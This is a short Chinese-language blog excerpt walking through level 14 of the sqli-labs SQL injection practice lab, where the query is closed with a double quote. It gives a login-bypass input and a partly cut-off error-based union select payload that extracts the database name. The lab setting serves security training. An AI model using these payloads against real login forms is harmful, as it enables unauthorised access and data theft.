sqli-labs練習（十四）--- POST-Double Injection-Single quotes-String-with twist

這一關與上一關很相似，唯一的區別就在於是採用雙引號來閉合的， 直接可以用萬能密碼成功登錄，比如123" or 1=1# 在獲取數據庫信息是把')替換爲"即可。 payload：uname=123" union select count(*),concat(':',(select database()),':',floor(rand()*2))as a from information_schema

>>阅读原文<<